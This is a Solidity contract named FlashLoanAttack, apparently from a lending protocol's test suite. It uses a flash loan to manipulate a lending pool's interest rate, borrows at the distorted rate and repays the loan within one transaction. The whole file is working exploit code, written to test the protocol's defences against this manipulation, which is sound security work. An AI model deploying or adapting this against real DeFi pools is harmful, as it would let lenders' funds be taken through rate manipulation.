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| pragma solidity ^0.5.17; | ||
| pragma experimental ABIEncoderV2; | ||
| // "SPDX-License-Identifier: Apache-2.0" | ||
|
|
||
| import "../interfaces/IERC20.sol"; | ||
| import "../openzeppelin/Ownable.sol"; | ||
| import "./ITokenFlashLoanTest.sol"; | ||
|
|
||
| /** | ||
| * @title The interface of the lending pool iToken to attack. | ||
| * @notice Only burn, mint and borrow functions are required. | ||
| * */ | ||
| interface IToken { | ||
| function burn(address receiver, uint256 burnAmount) external returns (uint256 loanAmountPaid); | ||
|
|
||
| function mint(address receiver, uint256 depositAmount) external returns (uint256 mintAmount); | ||
|
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| function borrow( | ||
| bytes32 loanId, /// 0 if new loan. | ||
| uint256 withdrawAmount, | ||
| uint256 initialLoanDuration, /// Duration in seconds. | ||
| uint256 collateralTokenSent, /// If 0, loanId must be provided; any rBTC sent must equal this value. | ||
| address collateralTokenAddress, /// If address(0), this means rBTC and rBTC must be sent with the call or loanId must be provided. | ||
| address borrower, | ||
| address receiver, | ||
| bytes calldata /// loanDataBytes: arbitrary order data (for future use). | ||
| ) | ||
| external | ||
| payable | ||
| returns ( | ||
| uint256, | ||
| uint256 /// Returns new principal and new collateral added to loan. | ||
| ); | ||
| } | ||
|
|
||
| /** | ||
| * @title Flash Loan Attack. | ||
| * @notice This contract performs a flash loan (FL) call to achieve a double goal: | ||
| * 1.- Get a big amount of underlying tokens (hackDepositAmount) | ||
| * during just one transaction. (FL) | ||
| * 2.- Use that big amount to manipulate the loan rate of another loan pool, and | ||
| * then get a borrow principal w/ an extremely low interest. | ||
| * */ | ||
| contract FlashLoanAttack is Ownable { | ||
| /* Storage */ | ||
| address iTokenToHack; /// The address of the lending pool iToken to hack. | ||
| address collateralToken; /// The address of the collateral token. | ||
| uint256 withdrawAmount; /// The borrowing principal. | ||
| uint256 collateralTokenSent; /// The borrowing collateral. | ||
|
|
||
| /* Events */ | ||
| event ExecuteOperation(address loanToken, address iToken, uint256 loanAmount); | ||
|
|
||
| event BalanceOf(uint256 balance); | ||
|
|
||
| /* Functions */ | ||
|
|
||
| /** | ||
| * @notice Set the parameters of the loan pool attack. | ||
| * @param _iTokenToHack The address of the lending pool iToken to hack. | ||
| * @param _collateralToken The address of the collateral token. | ||
| * @param _withdrawAmount The borrowing principal. | ||
| * @param _collateralTokenSent The borrowing collateral. | ||
| * */ | ||
| function hackSettings( | ||
| address _iTokenToHack, | ||
| address _collateralToken, | ||
| uint256 _withdrawAmount, | ||
| uint256 _collateralTokenSent | ||
| ) external onlyOwner { | ||
| iTokenToHack = _iTokenToHack; | ||
| collateralToken = _collateralToken; | ||
| withdrawAmount = _withdrawAmount; | ||
| collateralTokenSent = _collateralTokenSent; | ||
| } | ||
|
|
||
| /** | ||
| * @notice Internal launch of the FL attack. | ||
| * @param underlyingToken The address of the underlying token. | ||
| * @param iToken The address of the third party FL token pool. | ||
| * @param hackDepositAmount The big amount of underlying tokens provided by the FL. | ||
| * @return Success or failure in binary format. | ||
| * */ | ||
| function initiateFlashLoanAttack( | ||
| address underlyingToken, | ||
| address iToken, | ||
| uint256 hackDepositAmount | ||
| ) internal returns (bytes memory success) { | ||
| ITokenFlashLoanTest iTokenContract = ITokenFlashLoanTest(iToken); | ||
| return | ||
| iTokenContract.flashBorrow( | ||
| hackDepositAmount, | ||
| address(this), | ||
| address(this), | ||
| "", | ||
| abi.encodeWithSignature("executeOperation(address,address,uint256)", underlyingToken, iToken, hackDepositAmount) | ||
| ); | ||
| } | ||
|
|
||
| /** | ||
| * @notice Send back the underlying tokens used in the hack to the FL provider. | ||
| * @dev On v1 flash loans the flash loaned amount needed to be pushed back | ||
| * to the FL lending pool contract. This function is doing so. | ||
| * @param underlyingToken The address of the underlying token. | ||
| * @param iToken The address of the third party FL token pool. | ||
| * @param hackDepositAmount The big amount of underlying tokens provided by the FL. | ||
| * */ | ||
| function repayFlashLoan( | ||
| address underlyingToken, | ||
| address iToken, | ||
| uint256 hackDepositAmount | ||
| ) internal { | ||
| IERC20(underlyingToken).transfer(iToken, hackDepositAmount); | ||
| } | ||
|
|
||
| /** | ||
| * @notice This is the callback function passed to the FL contract. | ||
| * @dev FL contract will call this function after providing the sender, | ||
| * (i.e. this contract) with the funds to perform the attack. | ||
| * @param underlyingToken The address of the underlying token. | ||
| * @param iToken The address of the third party FL token pool. | ||
| * @param hackDepositAmount The big amount of underlying tokens provided by the FL. | ||
| * @return Success or failure in binary format. | ||
| * */ | ||
| function executeOperation( | ||
| address underlyingToken, | ||
| address iToken, | ||
| uint256 hackDepositAmount | ||
| ) external returns (bytes memory success) { | ||
| /// @dev Event log to register the big amount of tokens have been received. | ||
| emit BalanceOf(IERC20(underlyingToken).balanceOf(address(this))); | ||
|
|
||
| /// @dev Event log to register the callback function has been called. | ||
| emit ExecuteOperation(underlyingToken, iToken, hackDepositAmount); | ||
|
|
||
| /// @dev The following code executes the hack using the funds provided by FL. | ||
| hackTheLoanPool(underlyingToken, hackDepositAmount); | ||
|
|
||
| /// @dev Payback the FL. | ||
| repayFlashLoan(underlyingToken, iToken, hackDepositAmount); | ||
|
|
||
| /// @dev Success. | ||
| return bytes("1"); | ||
| } | ||
|
|
||
| /** | ||
| * @notice External wrapper to initiateFlashLoanAttack. | ||
| * @dev Register the underlying token balance before and after the FL. | ||
| * @param underlyingToken The address of the underlying token. | ||
| * @param iToken The address of the third party FL token pool. | ||
| * @param hackDepositAmount The big amount of underlying tokens provided by the FL. | ||
| * */ | ||
| function doStuffWithFlashLoan( | ||
| address underlyingToken, | ||
| address iToken, | ||
| uint256 hackDepositAmount | ||
| ) external onlyOwner { | ||
| bytes memory result; | ||
|
|
||
| /// @dev Event log to register the amount of underlying tokens before FL. | ||
| emit BalanceOf(IERC20(underlyingToken).balanceOf(address(this))); | ||
|
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||
| result = initiateFlashLoanAttack(underlyingToken, iToken, hackDepositAmount); | ||
|
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| /// @dev Event log to register the amount of underlying tokens after FL. | ||
| emit BalanceOf(IERC20(underlyingToken).balanceOf(address(this))); | ||
|
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||
| /// @dev After loan checks and what not. | ||
| if (hashCompareWithLengthCheck(bytes("1"), result)) { | ||
| revert("FlashLoanAttack::failed executeOperation"); | ||
| } | ||
| } | ||
|
|
||
| /** | ||
| * @notice Check two payloads are equal. | ||
| * @dev It compares their length and their hashes. | ||
| * @param a First payload to compare. | ||
| * @param b Second payload to compare. | ||
| * */ | ||
| function hashCompareWithLengthCheck(bytes memory a, bytes memory b) internal pure returns (bool) { | ||
| if (a.length != b.length) { | ||
| return false; | ||
| } else { | ||
| return keccak256(a) == keccak256(b); | ||
| } | ||
| } | ||
|
|
||
| /** | ||
| * @notice Deposit underlying tokens on loan pool to manipulate its | ||
| * interest rate and borrow a principal w/ the unfair rate and get | ||
| * back the underlying tokens, all of it in just one transaction. | ||
| * @param underlyingToken The address of the underlying token. | ||
| * @param hackDepositAmount The big amount of underlying tokens provided by the FL. | ||
| * */ | ||
| function hackTheLoanPool(address underlyingToken, uint256 hackDepositAmount) public { | ||
| IToken iTokenToHackContract = IToken(iTokenToHack); | ||
|
|
||
| /// @dev Allow the lending pool iTokenToHack to get a deposit | ||
| /// from this contract as a lender. | ||
| IERC20(underlyingToken).approve(iTokenToHack, hackDepositAmount); | ||
|
|
||
| /// @dev Check this contract has the underlying tokens to deposit. | ||
| require( | ||
| IERC20(underlyingToken).balanceOf(address(this)) >= hackDepositAmount, | ||
| "FlashLoanAttack contract has not the required balance: hackDepositAmount." | ||
| ); | ||
|
|
||
| /// @dev Check this contract has the allowance to move the tokens | ||
| /// to the lending pool. | ||
| require( | ||
| IERC20(underlyingToken).allowance(address(this), iTokenToHack) >= hackDepositAmount, | ||
| "FlashLoanAttack contract is not allowed to move hackDepositAmount." | ||
| ); | ||
|
|
||
| /// @dev Make a deposit as a lender, in order to manipulate the | ||
| /// interest rate of the lending pool. | ||
| iTokenToHackContract.mint(address(this), hackDepositAmount); | ||
|
|
||
| /// @dev Check this contract has the collateral tokens to deposit. | ||
| require( | ||
| IERC20(collateralToken).balanceOf(address(this)) >= collateralTokenSent, | ||
| "FlashLoanAttack contract has not the required balance: collateralTokenSent." | ||
| ); | ||
|
|
||
| /// @dev Borrow liquidity from the pool w/ an unfair rate. | ||
| iTokenToHackContract.borrow( | ||
| "0x0", /// loanId, 0 if new loan. | ||
| withdrawAmount, | ||
| 86400, /// initialLoanDuration | ||
| collateralTokenSent, | ||
| collateralToken, /// collateralTokenAddress | ||
| address(this), /// borrower | ||
| address(this), /// receiver | ||
| "0x0" | ||
| ); | ||
|
|
||
| /// @dev Get back the amount deposited in the first place. | ||
| iTokenToHackContract.burn(address(this), hackDepositAmount); | ||
| } | ||
| } |
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